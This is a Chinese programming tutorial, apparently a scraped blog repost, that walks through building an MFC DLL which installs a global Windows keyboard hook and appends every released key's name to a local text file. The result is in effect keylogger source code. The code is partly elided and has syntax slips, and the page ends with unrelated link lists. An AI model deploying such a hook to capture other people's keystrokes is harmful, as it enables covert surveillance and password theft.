ffffff
来源:互联网 发布:淘宝宝贝规格图片尺寸 编辑:程序博客网 时间:2024/06/04 19:50
本软件分为两个部分,一部分是DLL模块,里面利用Hook技术完成键盘监控和写入文件的功能;另一部分是界面部分,调用DLL启动和停止客户操作记录功能。
第1步:创建MFC DLL项目
第2步:创建TestHook.h文件
第3步:加入全局共享数据变量
第4步:保存DLL实例句柄
第5步:类CKeyboradHook的成员函数
第6步:创建钩子可执行程序
第1步:创建MFC DLL项目
创建一个名为HookTest的project,project的类型为选择MFC AppWizard(DLL),DLL类型为MFC Extension DLL(using shared MFC DLL)
注意:选择File->New菜单项,在弹出对话框的左边的列表框中选择MFC AppWizard(DLL).
在project name文本框中输入项目名称,HookTest;location中输入项目的存盘路径;选中Create new workspace;在platForms列表中选择Win32选项。
单击OK按钮继续下一步,在弹出的对话框中设置DLL类型为MFC Extension DLL(using shared MFC DLL).
在IDE中,选择FileView选项卡,在其中就会发现其中有HookTest.cpp文件,却没有HookTest.h文件,这是因为visual C++6.0中没有现成的钩子类,所以要自己动手创建TestHook.h文件,在其中建立钩子类。
第2步:创建TestHook.h文件
选择File菜单,再选择New菜单项,将弹出New对话框。选择files选项卡,并且选择其中的C/C++ Header File.
选中add to project,并且在对应的下拉列表中选择项目名称HookTest;在location文本框中输入项目的存盘路径,或单击右边的按钮选择相应的路径;在file对应的文本框中输入文件名HookTest.h;单击OK按钮,在IDE中自动打开Hooktest.h文件供编辑代码用;
TestHook.h文件:
#if _MSC_VER>1000
#pragma once
#endif //_MSC_VER>1000
class AFX_EXT_CLASS CHookTest:public CObject
{
public:
CHookTest();
~CHookTest();
BOOL StartHook();//StartHook()函数实现安装钩子
BOOL StopHook();//StopHook()函数实现卸载钩子
};
第3步:加入全局共享数据变量
HookTest.cpp文件中添加:
//存储各个键赌赢的字符
CString cskey[TOTAL_KEYS]=
{
"BACKSPACE",
"TAB",
……
"F12",
};
//存储各个键对应的键值
int nkey[TOTAL_KEYS]=
{
0X08, //"BACKSPACE",
0X09, //"TAB",
…….
0x7b,//"F12",
};
#pragma data_seg("mydata")
//安装的键盘钩子子句柄
HHOOK glhTestHook=NULL;
//DLL实例句柄
HINSTANCE glhkInstance=NULL;
#pragma data_seg()
第4步:保存DLL实例句柄
DllMain函数中添加如下代码:
if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("HOOKTEST.DLL Initializing!/n");
//扩展DLL仅初始化一次
if (!AfxInitExtensionModule(HookTestDLL, hInstance))
return 0;
//DLL加入动态MFC类库中
new CDynLinkLibrary(HookTestDLL);
//保存DLL实例句柄
glhkInstance=hInstance;
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("HOOKTEST.DLL Terminating!/n");
//终止这个链接库前调用它
AfxTermExtensionModule(HookTestDLL);
}
return 1; // ok
第5步:类CKeyboradHook的成员函数
//KeyboradProc函数
LRESULT WINAPI KeyboradProc(int nCode,WPARAM wParam,LPARAM lParam)
{
for(int i=0;i<TOTAL_KEYS;i++)
{
if(nkey[i]==(int)wParam)
{
int nKeyStatus=lParam &0x80000000;
//根据用户按键播放对应的声音文件
switch(nKeyStatus)
case 0://WM_KEYUP
//case 0x80000000://WM_KEYUP
{
char* pszFileName="C://myfile.txt";
CStdioFile myFile;
CFileException fileException;
if(myFile.Open(pszFileName,CFile::typeText|CFile::modeCreate|CFile::modeNoTruncate|CFile::modeReadWrite),&fileException)
{
myFile.SeekToEnd();
//将文件指针移动到文件末尾准备进行追加文本的操作
//此处可以编写追加文本的操作
myFile.WriteString(cskey[i]);
}
else
{
TRACE("Can't open file %s,error=%u/n",pszFileName,fileException.m_cause);
}
}
}
}
//调用CallNextHookEx函数把钩子信息传递给钩子链的下一个钩子函数
return CallNextHookEx(glhTestHook,nCode,wParam,lParam);
}
第6步:创建钩子可执行程序
//****************************
BOOL CHookTest::StartHook()
{
glhTestHook=SetWindowsHookEx(WH_KEYBOARD,KeyboradProc,glhkInstance,0);
if(glhTestHook!=NULL)
return TRUE;
return FALSE;
}
//****************************
/*
HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,INSTANCE hMod,DWORD dwThreadId)
idHook:钩子类型,它是和钩子函数类型一一对应的,例如,WH_KEYBOARD表示安装的是键盘钩子,WH_MOUSE表示的是鼠标钩子等。
lpfn:钩子函数的地址
hMod:钩子函数所在的实例的句柄,对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数的DLL句柄
dwThreadId:指定钩子所监视的线程的线程号,对于全局钩子,该参数为NULL.
SetWindowsHookEx返回所安装的钩子句柄。
调用StartHook函数后,所有键盘的消息都会转移到KeyboradProc函数中,通过数组nkey的值与wParam参数相比较,可以知道用户按下的是哪个键,通过对IParam值的判断,可以知道是按下键还是释放键,然后播放键对应的声音文件即可。
*/
//****************************
//卸载钩子
BOOL CHookTest::StopHook()
{
BOOL bResult=FALSE;
if(glhTestHook)
{
bResult=UnhookWindowsHookEx(glhTestHook);
if(bResult)
{
glhTestHook=NULL;
}
}
return bResult;
}
//****************************
- ffffff
- ffffff
- ffffff
- ffffff
- 3ffffff
- Format出现FFFFFF解决办法
- li:hover{ color: #ffffff; }
- iOS使用#ffffff颜色
- #ffffff为什么是白色
- VC格式化COLORREF为#FFFFFF字符串
- #fff 与 #ffffff 一样是白色
- RGB(FFFFFF)转255:255:255
- IOS 颜色值#ffffff转UIColor
- #FFFFFF 和RGB的相互转化
- swift3.0把#ffffff或者ffffff格式转为UIColor的方法
- 使用16进制编码“FFFFFF”设置颜色,&HFFFFFF
- HTML颜色格式#FFFFFF转换为COLORREF方法
- android 在代码中使用 #ffffff 模式 设置背景色
- 码片 符号 比特
- Molehill 2D 研究1
- phpmyadmin设置
- Link ID和ADV Router
- 老掉牙的文件隐藏问题
- ffffff
- centos配置php mysql apache
- 大牛教你写代码
- r和weka
- 虚函数: 多重继承下派生类对象的内存结构
- [坑向]sanae的ACM程序框架
- 对于框架的 pathinfo 的 nginx 配置
- 人生头2次面试的总结与反思
- 考试系统总结与下一步重构